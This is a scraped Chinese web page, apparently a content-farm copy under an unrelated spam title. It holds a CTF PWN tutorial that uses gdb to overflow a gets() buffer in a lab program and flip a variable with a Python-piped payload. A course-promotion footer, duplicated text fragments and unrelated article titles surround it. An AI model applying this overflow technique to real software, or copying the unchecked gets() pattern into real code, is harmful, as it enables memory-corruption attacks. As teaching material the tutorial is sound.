当前位置: 首页 > news >正文

网站的ftp信息宝塔建设的网站火车头发布失败

网站的ftp信息,宝塔建设的网站火车头发布失败,wordpress书画主题,西部数码网站管理助手 数据库PWN是一个黑客语法的俚语词#xff0c;自own这个字引申出来的#xff0c;这个词的含意在于#xff0c;玩家在整个游戏对战中处在胜利的优势#xff0c;或是说明竞争对手处在完全惨败的情形下#xff0c;这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个…PWN是一个黑客语法的俚语词自own这个字引申出来的这个词的含意在于玩家在整个游戏对战中处在胜利的优势或是说明竞争对手处在完全惨败的情形下这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败例如“You just got pwned!”。有一个非常著名的国际赛事叫做Pwn2Own即通过打败对手来达到拥有的目的。 在CTF中PWN题型通常会直接给定一个已经编译好的二进制程序Windows下的EXE或者Linux下的ELF文件等然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞并编写利用代码通过远程代码执行来达到溢出攻击的效果最终拿到目标机器的shell夺取flag。 又到了介绍工具的时候了首先了解一下gdb。 gdb是Linux下常用的一款命令行调试器拥有十分强大的调试功能。本实验中需要用到的gdb命令如下 这个工具类似逆向里面的IDA这类的神器。 除了工具还需要知道一些简单的汇编基础读懂常见的汇编指令是CTF竞赛中PWN解题的基本要求本实验中需要理解的汇编指令如下 汇编语言中esp寄存器用于指示当前函数栈帧的栈顶的位置函数中局部变量都存储在栈空间中栈的生长方向是向下的即从高地址往低地址方向生长。 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量使得溢出的数据覆盖在合法数据上理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配这就为缓冲区溢出埋下隐患。 本文涉及知识点实操练习 [《CTFPWN练习》](https://www.hetianlab.com/expc.do?ecECID172.19.104.182014103116591300001pk_campaignfreebuf- wemedia)PWN是CTF竞赛中的主要题型之一主要考查参赛选手的逆向分析、漏洞挖掘以及Exploit编写能力。CTF- PWN系列实验以最常见的栈溢出为主线通过由浅入深的方式一步一步讲解栈溢出攻击原理与实践同时详细介绍了Linux下GDB调试器的基本使用方法。。 先看题目描述跟看web源码一样重要主机/home/test/1目录下有一个pwn1程序执行这个程序的时候可以输入数据进行测试pwn1程序会输出Please try again.的提示信息请对pwn1程序进行逆向分析和调试找到程序内部的漏洞并构造特殊的输入数据使之输出Congratulations, you pwned it.信息。 首先第一步源码审计在实际的CTF竞赛的PWN题目中一般是不会提供二进制程序的源代码的。这里为了方便大家学习给出二进制程序的C语言源代码供大家分析以源码审计的方式确定漏洞所在位置方便后续进行汇编级别的分析。 在没有源代码的情况下我们通常使用IDA Pro对二进制程序进行逆向分析使用IDA的Hex- Rays插件可以将反汇编代码还原为C语言伪代码可以达到类似源代码的可读效果在后期的实验中会专门对IDA的使用进行讲解 使用cd /home/test/1切换到程序所在目录执行cat pwn1.c即可看到源代码 #include stdio.hint main(int argc, char argv){int modified;char buffer[64];modified 0;gets(buffer); // 引发缓冲区溢出if (modified ! 0){printf(“Congratulations, you pwned it.\n”);}else{printf(“Please try again.\n”);}return 0;} 我们看这里使用gets函数读取输入数据时并不会对buffer缓冲区的长度进行检查输入超长的输入数据时会引发缓冲区溢出。漏洞找到了我们来看利用过程执行gdb pwn1即可开始通过gdb对pwn1进行调试现在我们需要阅读main函数的汇编代码在gdb中执行disas main命令即可![图片3.png](https://img-blog.csdnimg.cn/img_convert/1464da519212f5d1df248cf6cfc9d1e2.jpeg)下面是对main函数中的汇编代码的解释0x080482a0 0: push %ebp0x080482a1 1: mov %esp,%\ebp0x080482a3 3: and $0xfffffff0,%\esp; esp esp - 0x60即在栈上分配0x60字节的空间0x080482a6 6: sub $0x60,%\esp; modified变量位于esp 0x5C处将其初始化为00x080482a9 9: movl $0x0,0x5c(%\esp); buffer位于esp 0x1C处0x080482b1 17: lea 0x1c(%\esp),%eax0x080482b5 21: mov %eax,(%\esp); 调用gets(buffer)读取输入数据0x080482b8 24: call 0x8049360 gets; 判断modified变量的值是否是00x080482bd 29: cmpl $0x0,0x5c(%\esp); 如果modified的值等于0就跳转到 0x080482d20x080482c2 34: je 0x80482d2 main50; modified不为0打印成功提示0x080482c4 36: movl $0x80b3eec,(%\esp)0x080482cb 43: call 0x8049500 puts0x080482d0 48: jmp 0x80482de main62; modified为0打印失败提示0x080482d2 50: movl $0x80b3f0b,(%\esp)0x080482d9 57: call 0x8049500 puts0x080482de 62: mov $0x0,%\eax0x080482e3 67: leave0x080482e4 68: ret通过对上面的汇编代码进行分析我们知道buffer位于esp0x1C处而modified位于esp0x5C处两个地址的距离为0x5C - 0x1C0x40即64刚好为buffer数组的大小。因此当我们输入的数据超过64字节时modified变量就可以被覆盖。下面在gdb中进行验证在gdb中执行b 0x080482bd命令对gets的下一条指令下一个断点![图片4.png](https://img-blog.csdnimg.cn/img_convert/5c2e416ee24ad101ad43f4b8a5d667ab.jpeg)在gdb中执行r命令让被调试的pwn1程序跑起来就可以输入数据进行测试了这里我们输入64个A以及1个B即AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB按下Enter键程序就在断点处断下了![图片5.png](https://img-blog.csdnimg.cn/img_convert/50de82877931ab5c62e8c5ada2307ef9.jpeg)在gdb中输入x $esp0x5C查看modified变量的值已经被修改成了0x00000042而0x42就是字符’B’的ASCII值表明我们成功用输入数据的第65个字节覆盖了modified变量![image](https://img-blog.csdnimg.cn/img_convert/fe9d5f89bf1d99015e1301d0a409eb0e.jpeg)在gdb中连续两次执行ni命令可以看到je指令没有跳转说明modified的值不为0程序进入输出通过信息的if语句分支![图片7.png](https://img-blog.csdnimg.cn/img_convert/b40d70bdafeba39f4316d3cff0f7cfae.jpeg)在gdb中输入c命令就可以让程序继续执行看到输出了通过提示信息![图片8.png](https://img-blog.csdnimg.cn/img_convert/72d8bdadfbf70233878f65946014bab5.jpeg)通过上面的步骤我们已经知道了如果控制输入数据来进行攻击以达到进入if语句分支的目的。下面我们就可以通过构造输入数据进行攻击了。如果你还没有退出gdb输入q命令就可以退出gdb。下面通过python语句构造输入数据然后通过管道传给pwn1程序执行命令python -c print A64B | ./pwn1![图片9.png](https://img-blog.csdnimg.cn/img_convert/613f81ca7a57643e4871768cc591d9a9.jpeg)看到已经成功发起了溢出攻击程序被你PWN掉啦B | ./pwn1[外链图片转存中...(img-oUak6lkK-1691677019926)]看到已经成功发起了溢出攻击程序被你PWN掉啦## 最后 对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。 ![](https://img-blog.csdnimg.cn/9663e318367645b8bf9d8c9858f43905.png#pic_center) 同时每个成长路线对应的板块都有配套的视频提供 ![](https://img-blog.csdnimg.cn/95c51a2db203495cacd852a94dbe0814.png) ![](https://img-blog.csdnimg.cn/c62dc5cb223b4472b26ab6661feac302.png) 当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。 ![](https://img-blog.csdnimg.cn/69ab0c080ea94332b51bd55d6afec28f.png) **因篇幅有限仅展示部分资料有需要的小伙伴可以【点下方卡片】免费领取**
http://www.w-s-a.com/news/6408/

相关文章:

  • 手机网站横竖屏一般做建设的是什么公司
  • 免费网站建设无广告网站开发 华景新城
  • 湖州网站制作报价西安网站开发有哪些公司
  • google 浏览器开源seo软件
  • 网站空间是什么意思自己怎样建设网站
  • 国外家装设计网站如何做软件开发
  • 凡科建站登录官网当当网网站建设策划书
  • 网站百度屏蔽关键词杭州排名优化公司
  • h5响应式网站模板下载wordpress鼠标指针
  • 摄影作品投稿网站目前最好的引流推广方法
  • 资源站源码永久dede网站搬家 空间转移的方法
  • 网站建设销售的技巧话语it培训机构
  • 自建本地网站服务器wordpress南充房产网最新楼盘最近房价
  • 郑州代做网站天津哪里能做网站
  • 网站如何做排名网站建设项目的工作分解
  • 洛阳网络建站公司网站开发主流语言
  • 广州各区正在进一步优化以下措施seo值是什么意思
  • 滨州建网站公司京东云 wordpress
  • 网站视频背景怎么做免费的网络推广有哪些
  • 申请网站怎样申请广西壮族自治区专升本业务系统
  • 写作网站哪个网站做ic外单好
  • 苏州和城乡建设局网站撸撸撸做最好的导航网站
  • 网站被同行抄袭怎么办深圳中装建设集团
  • 建站及推广瓦房店 网站建设
  • 怎么查网站是在哪里备案的广州电力建设有限公司网站
  • 做网站自己申请域名还是对方wordpress管理地址
  • 专门做二手书网站或appwordpress首页显示特定分类文章
  • 无锡网站设计厂家一建十个专业含金量排名
  • 网站刷链接怎么做成都高度网站技术建设公司
  • flash网站模板怎么用xml网站地图生成